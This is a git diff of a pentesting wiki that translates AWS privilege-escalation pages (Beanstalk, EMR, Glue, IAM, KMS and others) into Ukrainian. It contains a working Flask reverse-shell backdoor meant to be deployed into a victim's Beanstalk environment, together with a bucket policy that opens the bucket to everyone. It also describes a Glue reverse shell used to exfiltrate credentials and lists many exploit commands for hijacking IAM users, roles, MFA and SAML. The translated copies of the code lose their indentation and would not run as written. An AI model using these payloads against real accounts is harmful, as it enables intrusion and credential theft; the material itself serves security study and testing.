Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): - +- Створіть середовище AWS Elastic Beanstalk ([**підтримувані платформи**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)): ```bash aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role ``` +Якщо середовище вже створене і ви **не хочете створювати нове**, ви можете просто **оновити** існуюче. -If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one. - -- Package your application code and dependencies into a ZIP file: - +- Упакуйте код вашого додатку та залежності в ZIP-файл: ```python zip -r MyApp.zip . ``` - -- Upload the ZIP file to an S3 bucket: - +- Завантажте ZIP-файл до S3 бакету: ```python aws s3 cp MyApp.zip s3://elasticbeanstalk--/MyApp.zip ``` - -- Create an AWS Elastic Beanstalk application version: - +- Створіть версію програми AWS Elastic Beanstalk: ```css aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk--",S3Key="MyApp.zip" ``` - -- Deploy the application version to your AWS Elastic Beanstalk environment: - +- Розгорніть версію програми у вашому середовищі AWS Elastic Beanstalk: ```bash aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0 ``` - ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses` -First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**: +По-перше, вам потрібно створити **легітимне середовище Beanstalk** з **кодом**, який ви хочете запустити у **жертви**, дотримуючись **попередніх кроків**. Потенційно це може бути простий **zip**, що містить ці **2 файли**: {{#tabs }} {{#tab name="application.py" }} - ```python from flask import Flask, request, jsonify import subprocess,os, socket @@ -89,34 +74,32 @@ application = Flask(__name__) @application.errorhandler(404) def page_not_found(e): - return jsonify('404') +return jsonify('404') @application.route("/") def index(): - return jsonify('Welcome!') +return jsonify('Welcome!') @application.route("/get_shell") def search(): - host=request.args.get('host') - port=request.args.get('port') - if host and port: - s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) - s.connect((host,int(port))) - os.dup2(s.fileno(),0) - os.dup2(s.fileno(),1) - os.dup2(s.fileno(),2) - p=subprocess.call(["/bin/sh","-i"]) - return jsonify('done') +host=request.args.get('host') +port=request.args.get('port') +if host and port: +s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) +s.connect((host,int(port))) +os.dup2(s.fileno(),0) +os.dup2(s.fileno(),1) +os.dup2(s.fileno(),2) +p=subprocess.call(["/bin/sh","-i"]) +return jsonify('done') if __name__=="__main__": - application.run() +application.run() ``` - {{#endtab }} {{#tab name="requirements.txt" }} - ``` click==7.1.2 Flask==1.1.2 @@ -125,44 +108,42 @@ Jinja2==2.11.3 MarkupSafe==1.1.1 Werkzeug==1.0.1 ``` - {{#endtab }} {{#endtabs }} -Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**): - +Якщо у вас **запущене власне середовище Beanstalk** з вашим rev shell, настав час **мігрувати** його до середовища **жертви**. Для цього вам потрібно **оновити політику бакету** вашого S3 бакету Beanstalk, щоб **жертва могла отримати доступ** до нього (Зверніть увагу, що це **відкриє** бакет для **ВСІХ**): ```json { - "Version": "2008-10-17", - "Statement": [ - { - "Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "s3:ListBucket", - "s3:ListBucketVersions", - "s3:GetObject", - "s3:GetObjectVersion", - "s3:*" - ], - "Resource": [ - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", - "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" - ] - }, - { - "Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", - "Effect": "Deny", - "Principal": { - "AWS": "*" - }, - "Action": "s3:DeleteBucket", - "Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" - } - ] +"Version": "2008-10-17", +"Statement": [ +{ +"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"s3:ListBucket", +"s3:ListBucketVersions", +"s3:GetObject", +"s3:GetObjectVersion", +"s3:*" +], +"Resource": [ +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022", +"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*" +] +}, +{ +"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b", +"Effect": "Deny", +"Principal": { +"AWS": "*" +}, +"Action": "s3:DeleteBucket", +"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022" +} +] } ``` @@ -181,9 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections. ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md index 0025abe52..468b73b6f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md @@ -4,7 +4,7 @@ ## EMR -More **info about EMR** in: +Більше **інформації про EMR** в: {{#ref}} ../aws-services/aws-emr-enum.md @@ -12,57 +12,51 @@ More **info about EMR** in: ### `iam:PassRole`, `elasticmapreduce:RunJobFlow` -An attacker with these permissions can **run a new EMR cluster attaching EC2 roles** and try to steal its credentials.\ -Note that in order to do this you would need to **know some ssh priv key imported in the account** or to import one, and be able to **open port 22 in the master node** (you might be able to do this with the attributes `EmrManagedMasterSecurityGroup` and/or `ServiceAccessSecurityGroup` inside `--ec2-attributes`). - +Зловмисник з цими дозволами може **запустити новий кластер EMR, прикріпивши ролі EC2** та спробувати вкрасти його облікові дані.\ +Зверніть увагу, що для цього вам потрібно **знати деякий ssh приватний ключ, імпортований в обліковий запис** або імпортувати один, і мати можливість **відкрити порт 22 на головному вузлі** (ви можете зробити це з атрибутами `EmrManagedMasterSecurityGroup` та/або `ServiceAccessSecurityGroup` всередині `--ec2-attributes`). ```bash # Import EC2 ssh key (you will need extra permissions for this) ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N "" chmod 400 /tmp/sshkey base64 /tmp/sshkey.pub > /tmp/pub.key aws ec2 import-key-pair \ - --key-name "privesc" \ - --public-key-material file:///tmp/pub.key +--key-name "privesc" \ +--public-key-material file:///tmp/pub.key aws emr create-cluster \ - --release-label emr-5.15.0 \ - --instance-type m4.large \ - --instance-count 1 \ - --service-role EMR_DefaultRole \ - --ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc +--release-label emr-5.15.0 \ +--instance-type m4.large \ +--instance-count 1 \ +--service-role EMR_DefaultRole \ +--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc # Wait 1min and connect via ssh to an EC2 instance of the cluster) aws emr describe-cluster --cluster-id # In MasterPublicDnsName you can find the DNS to connect to the master instance ## You cna also get this info listing EC2 instances ``` +Зверніть увагу, як **EMR роль** вказується в `--service-role`, а **ec2 роль** вказується в `--ec2-attributes` всередині `InstanceProfile`. Однак, ця техніка дозволяє лише вкрасти облікові дані EC2 ролі (оскільки ви підключитеся через ssh), але не EMR IAM роль. -Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role. - -**Potential Impact:** Privesc to the EC2 service role specified. +**Potential Impact:** Privesc до EC2 сервісної ролі, що вказана. ### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole` -With these permissions an attacker can go to the **AWS console**, create a Notebook and access it to steal the IAM Role. +З цими дозволами зловмисник може перейти до **AWS консолі**, створити Ноутбук і отримати до нього доступ, щоб вкрасти IAM роль. > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related. +> Навіть якщо ви прикріпите IAM роль до екземпляра ноутбука, у моїх тестах я помітив, що зміг вкрасти облікові дані, керовані AWS, а не облікові дані, пов'язані з IAM роллю. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Potential Impact:** Privesc до AWS керованої ролі arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile ### `elasticmapreduce:OpenEditorInConsole` -Just with this permission an attacker will be able to access the **Jupyter Notebook and steal the IAM role** associated to it.\ -The URL of the notebook is `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` +Лише з цим дозволом зловмисник зможе отримати доступ до **Jupyter Notebook і вкрасти IAM роль**, пов'язану з ним.\ +URL ноутбука: `https://.emrnotebooks-prod.eu-west-1.amazonaws.com//lab/` > [!CAUTION] -> Even if you attach an IAM role to the notebook instance in my tests I noticed that I was able to steal AWS managed credentials and not creds related to the IAM role related +> Навіть якщо ви прикріпите IAM роль до екземпляра ноутбука, у моїх тестах я помітив, що зміг вкрасти облікові дані, керовані AWS, а не облікові дані, пов'язані з IAM роллю. -**Potential Impact:** Privesc to AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile +**Potential Impact:** Privesc до AWS керованої ролі arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md index b40cdf413..533863026 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md @@ -4,19 +4,13 @@ ### `gamelift:RequestUploadCredentials` -With this permission an attacker can retrieve a **fresh set of credentials for use when uploading** a new set of game build files to Amazon GameLift's Amazon S3. It'll return **S3 upload credentials**. - +З цією дозволом зловмисник може отримати **новий набір облікових даних для використання при завантаженні** нового набору файлів збірки гри до Amazon GameLift's Amazon S3. Він поверне **облікові дані для завантаження в S3**. ```bash aws gamelift request-upload-credentials \ - --build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 +--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111 ``` - ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md index 049d3b273..2b7239cf4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md @@ -6,15 +6,14 @@ ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with these permissions can **set up a new AWS Glue development endpoint**, **assigning an existing service role assumable by Glue** with specific permissions to this endpoint. - -After the setup, the **attacker can SSH into the endpoint's instance**, and steal the IAM credentials of the assigned role: +Користувачі з цими дозволами можуть **налаштувати нову точку розробки AWS Glue**, **призначаючи існуючу роль служби, яку може прийняти Glue**, з конкретними дозволами для цієї точки. +Після налаштування **зловмисник може підключитися до екземпляра точки через SSH** і вкрасти облікові дані IAM призначеної ролі: ```bash # Create endpoint aws glue create-dev-endpoint --endpoint-name \ - --role-arn \ - --public-key file:///ssh/key.pub +--role-arn \ +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -23,19 +22,17 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` +Для цілей прихованості рекомендується використовувати облікові дані IAM зсередини віртуальної машини Glue. -For stealth purpose, it's recommended to use the IAM credentials from inside the Glue virtual machine. - -**Potential Impact:** Privesc to the glue service role specified. +**Потенційний вплив:** Привілейоване підвищення до ролі служби glue. ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`) -Users with this permission can **alter an existing Glue development** endpoint's SSH key, **enabling SSH access to it**. This allows the attacker to execute commands with the privileges of the endpoint's attached role: - +Користувачі з цим дозволом можуть **змінити існуючий** кінцевий пункт розробки Glue, **дозволяючи доступ по SSH до нього**. Це дозволяє зловмиснику виконувати команди з привілеями прикріпленої ролі кінцевого пункту: ```bash # Change public key to connect aws glue --endpoint-name target_endpoint \ - --public-key file:///ssh/key.pub +--public-key file:///ssh/key.pub # Get the public address of the instance ## You could also use get-dev-endpoints @@ -44,13 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest # SSH with the glue user ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com ``` - -**Potential Impact:** Privesc to the glue service role used. +**Потенційний вплив:** Привілейоване підвищення до ролі служби Glue. ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`) -Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:UpdateJob`**, and either **`glue:StartJobRun` or `glue:CreateTrigger`** can **create or update an AWS Glue job**, attaching any **Glue service account**, and initiate the job's execution. The job's capabilities include running arbitrary Python code, which can be exploited to establish a reverse shell. This reverse shell can then be utilized to exfiltrate the **IAM credential**s of the role attached to the Glue job, leading to potential unauthorized access or actions based on the permissions of that role: - +Користувачі з **`iam:PassRole`** в поєднанні з **`glue:CreateJob` або `glue:UpdateJob`**, і з **`glue:StartJobRun` або `glue:CreateTrigger`** можуть **створити або оновити завдання AWS Glue**, прикріпивши будь-який **обліковий запис служби Glue**, і ініціювати виконання завдання. Можливості завдання включають виконання довільного Python-коду, що може бути використано для встановлення зворотного шелу. Цей зворотний шел може бути використаний для ексфільтрації **облікових даних IAM** ролі, прикріпленої до завдання Glue, що призводить до потенційного несанкціонованого доступу або дій на основі дозволів цієї ролі: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -65,32 +60,27 @@ Users with **`iam:PassRole`** combined with either **`glue:CreateJob` or `glue:U # A Glue role with admin access was created aws glue create-job \ - --name privesctest \ - --role arn:aws:iam::93424712358:role/GlueAdmin \ - --command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' +--name privesctest \ +--role arn:aws:iam::93424712358:role/GlueAdmin \ +--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}' # You can directly start the job aws glue start-job-run --job-name privesctest # Or you can create a trigger to start it aws glue create-trigger --name triggerprivesc --type SCHEDULED \ - --actions '[{"JobName": "privesctest"}]' --start-on-creation \ - --schedule "0/5 * * * * *" #Every 5mins, feel free to change +--actions '[{"JobName": "privesctest"}]' --start-on-creation \ +--schedule "0/5 * * * * *" #Every 5mins, feel free to change ``` - -**Potential Impact:** Privesc to the glue service role specified. +**Потенційний вплив:** Privesc до ролі служби glue, що вказана. ### `glue:UpdateJob` -Just with the update permission an attacked could steal the IAM Credentials of the already attached role. +Просто з дозволом на оновлення атакуючий може вкрасти IAM облікові дані вже прикріпленої ролі. -**Potential Impact:** Privesc to the glue service role attached. +**Потенційний вплив:** Privesc до прикріпленої ролі служби glue. -## References +## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 7807f6152..46a3a10b8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -4,7 +4,7 @@ ## IAM -For more info about IAM check: +Для отримання додаткової інформації про IAM дивіться: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,228 +12,189 @@ For more info about IAM check: ### **`iam:CreatePolicyVersion`** -Grants the ability to create a new IAM policy version, bypassing the need for `iam:SetDefaultPolicyVersion` permission by using the `--set-as-default` flag. This enables defining custom permissions. +Надає можливість створювати нову версію політики IAM, обходячи необхідність у дозволі `iam:SetDefaultPolicyVersion`, використовуючи прапорець `--set-as-default`. Це дозволяє визначати власні дозволи. **Exploit Command:** - ```bash aws iam create-policy-version --policy-arn \ - --policy-document file:///path/to/administrator/policy.json --set-as-default +--policy-document file:///path/to/administrator/policy.json --set-as-default ``` - -**Impact:** Directly escalates privileges by allowing any action on any resource. +**Вплив:** Прямо ескалює привілеї, дозволяючи будь-яку дію над будь-яким ресурсом. ### **`iam:SetDefaultPolicyVersion`** -Allows changing the default version of an IAM policy to another existing version, potentially escalating privileges if the new version has more permissions. - -**Bash Command:** +Дозволяє змінювати версію за замовчуванням IAM політики на іншу існуючу версію, потенційно ескалуючи привілеї, якщо нова версія має більше дозволів. +**Bash команда:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` - -**Impact:** Indirect privilege escalation by enabling more permissions. +**Вплив:** Непряме підвищення привілеїв шляхом надання додаткових дозволів. ### **`iam:CreateAccessKey`** -Enables creating access key ID and secret access key for another user, leading to potential privilege escalation. - -**Exploit:** +Дозволяє створювати ідентифікатор ключа доступу та секретний ключ доступу для іншого користувача, що може призвести до потенційного підвищення привілеїв. +**Експлуатація:** ```bash aws iam create-access-key --user-name ``` - -**Impact:** Direct privilege escalation by assuming another user's extended permissions. +**Вплив:** Пряме підвищення привілеїв шляхом прийняття розширених дозволів іншого користувача. ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permits creating or updating a login profile, including setting passwords for AWS console login, leading to direct privilege escalation. - -**Exploit for Creation:** +Дозволяє створювати або оновлювати профіль входу, включаючи встановлення паролів для входу в консоль AWS, що призводить до прямого підвищення привілеїв. +**Експлуатація для створення:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Exploit for Update:** - +**Експлуатація для оновлення:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ - --password '' +--password '' ``` - -**Impact:** Direct privilege escalation by logging in as "any" user. +**Вплив:** Пряме підвищення привілеїв шляхом входу як "будь-який" користувач. ### **`iam:UpdateAccessKey`** -Allows enabling a disabled access key, potentially leading to unauthorized access if the attacker possesses the disabled key. - -**Exploit:** +Дозволяє активувати деактивований ключ доступу, що потенційно може призвести до несанкціонованого доступу, якщо зловмисник володіє деактивованим ключем. +**Експлуатація:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` - -**Impact:** Direct privilege escalation by reactivating access keys. +**Вплив:** Пряме підвищення привілеїв шляхом повторної активації ключів доступу. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Enables generating or resetting credentials for specific AWS services (e.g., CodeCommit, Amazon Keyspaces), inheriting the permissions of the associated user. - -**Exploit for Creation:** +Дозволяє генерувати або скидувати облікові дані для конкретних служб AWS (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи дозволи асоційованого користувача. +**Експлуатація для створення:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` - -**Exploit for Reset:** - +**Експлуатація для скидання:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` - -**Impact:** Direct privilege escalation within the user's service permissions. +**Вплив:** Пряме підвищення привілеїв у дозволах сервісу користувача. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Allows attaching policies to users or groups, directly escalating privileges by inheriting the permissions of the attached policy. - -**Exploit for User:** +Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики. +**Експлуатація для користувача:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` - -**Exploit for Group:** - +**Експлуатація для Групи:** ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` - -**Impact:** Direct privilege escalation to anything the policy grants. +**Вплив:** Пряме підвищення привілеїв до всього, що надає політика. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permits attaching or putting policies to roles, users, or groups, enabling direct privilege escalation by granting additional permissions. - -**Exploit for Role:** +Дозволяє прикріплювати або встановлювати політики до ролей, користувачів або груп, що дозволяє пряме підвищення привілеїв шляхом надання додаткових дозволів. +**Експлуатація для ролі:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` - -**Exploit for Inline Policies:** - +**Експлуатація для вбудованих політик:** ```bash aws iam put-user-policy --user-name --policy-name "" \ - --policy-document "file:///path/to/policy.json" +--policy-document "file:///path/to/policy.json" aws iam put-group-policy --group-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json aws iam put-role-policy --role-name --policy-name "" \ - --policy-document file:///path/to/policy.json +--policy-document file:///path/to/policy.json ``` - -You can use a policy like: - +Ви можете використовувати політику, таку як: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": ["*"] - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": ["*"] +} +] } ``` - -**Impact:** Direct privilege escalation by adding permissions through policies. +**Вплив:** Пряме підвищення привілеїв шляхом додавання дозволів через політики. ### **`iam:AddUserToGroup`** -Enables adding oneself to an IAM group, escalating privileges by inheriting the group's permissions. - -**Exploit:** +Дозволяє додавати себе до групи IAM, підвищуючи привілеї шляхом успадкування дозволів групи. +**Експлуатація:** ```bash aws iam add-user-to-group --group-name --user-name ``` - -**Impact:** Direct privilege escalation to the level of the group's permissions. +**Вплив:** Пряме підвищення привілеїв до рівня дозволів групи. ### **`iam:UpdateAssumeRolePolicy`** -Allows altering the assume role policy document of a role, enabling the assumption of the role and its associated permissions. - -**Exploit:** +Дозволяє змінювати документ політики припущення ролі, що дозволяє припустити роль та її асоційовані дозволи. +**Експлуатація:** ```bash aws iam update-assume-role-policy --role-name \ - --policy-document file:///path/to/assume/role/policy.json +--policy-document file:///path/to/assume/role/policy.json ``` - -Where the policy looks like the following, which gives the user permission to assume the role: - +Де політика виглядає наступним чином, що надає користувачу дозвіл на прийняття ролі: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": "sts:AssumeRole", - "Principal": { - "AWS": "$USER_ARN" - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": "sts:AssumeRole", +"Principal": { +"AWS": "$USER_ARN" +} +} +] } ``` - -**Impact:** Direct privilege escalation by assuming any role's permissions. +**Вплив:** Пряме підвищення привілеїв шляхом прийняття дозволів будь-якої ролі. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Permits uploading an SSH public key for authenticating to CodeCommit and deactivating MFA devices, leading to potential indirect privilege escalation. - -**Exploit for SSH Key Upload:** +Дозволяє завантажувати SSH публічний ключ для автентифікації в CodeCommit та деактивувати MFA пристрої, що може призвести до потенційного непрямого підвищення привілеїв. +**Експлуатація для завантаження SSH ключа:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` - -**Exploit for MFA Deactivation:** - +**Експлуатація для деактивації MFA:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` - -**Impact:** Indirect privilege escalation by enabling CodeCommit access or disabling MFA protection. +**Вплив:** Непряме підвищення привілеїв шляхом надання доступу до CodeCommit або вимкнення захисту MFA. ### **`iam:ResyncMFADevice`** -Allows resynchronization of an MFA device, potentially leading to indirect privilege escalation by manipulating MFA protection. - -**Bash Command:** +Дозволяє повторну синхронізацію пристрою MFA, що потенційно може призвести до непрямого підвищення привілеїв шляхом маніпуляції захистом MFA. +**Bash команда:** ```bash aws iam resync-mfa-device --user-name --serial-number \ - --authentication-code1 --authentication-code2 +--authentication-code1 --authentication-code2 ``` - -**Impact:** Indirect privilege escalation by adding or manipulating MFA devices. +**Вплив:** Непряме підвищення привілеїв шляхом додавання або маніпулювання пристроями MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -With these permissions you can **change the XML metadata of the SAML connection**. Then, you could abuse the **SAML federation** to **login** with any **role that is trusting** it. - -Note that doing this **legit users won't be able to login**. However, you could get the XML, so you can put yours, login and configure the previous back +З цими дозволами ви можете **змінити XML-метадані SAML-з'єднання**. Потім ви можете зловживати **SAML-федерацією** для **входу** з будь-якою **роллю, яка їй довіряє**. +Зверніть увагу, що при цьому **легітимні користувачі не зможуть увійти**. Однак ви можете отримати XML, щоб вставити свій, увійти та налаштувати попереднє. ```bash # List SAMLs aws iam list-saml-providers @@ -249,14 +210,12 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar # Optional: Set the previous XML back aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` - > [!NOTE] -> TODO: A Tool capable of generating the SAML metadata and login with a specified role +> TODO: Інструмент, здатний генерувати метадані SAML та входити з вказаною роллю ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Unsure about this) If an attacker has these **permissions** he could add a new **Thumbprint** to manage to login in all the roles trusting the provider. - +(Не впевнений у цьому) Якщо зловмисник має ці **дозволи**, він може додати новий **Thumbprint**, щоб мати можливість входити в усі ролі, які довіряють постачальнику. ```bash # List providers aws iam list-open-id-connect-providers @@ -265,13 +224,8 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` - -## References +## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index 02c05b76d..32cd1e023 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -4,7 +4,7 @@ ## KMS -For more info about KMS check: +Для отримання додаткової інформації про KMS дивіться: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,8 +12,7 @@ For more info about KMS check: ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -With these permissions it's possible to **modify the access permissions to the key** so it can be used by other accounts or even anyone: - +З цими дозволами можливо **змінити дозволи доступу до ключа**, щоб його могли використовувати інші облікові записи або навіть будь-хто: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -21,106 +20,91 @@ aws kms get-key-policy --key-id --policy-name # AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default") aws kms put-key-policy --key-id --policy-name --policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow all use", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": ["kms:*"], - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow all use", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": ["kms:*"], +"Resource": "*" +} +] } ``` - ### `kms:CreateGrant` -It **allows a principal to use a KMS key:** - +Це **дозволяє суб'єкту використовувати ключ KMS:** ```bash aws kms create-grant \ - --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ - --grantee-principal arn:aws:iam::123456789012:user/exampleUser \ - --operations Decrypt +--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ +--grantee-principal arn:aws:iam::123456789012:user/exampleUser \ +--operations Decrypt ``` +> [!WARNING] +> Грант може дозволяти лише певні типи операцій: 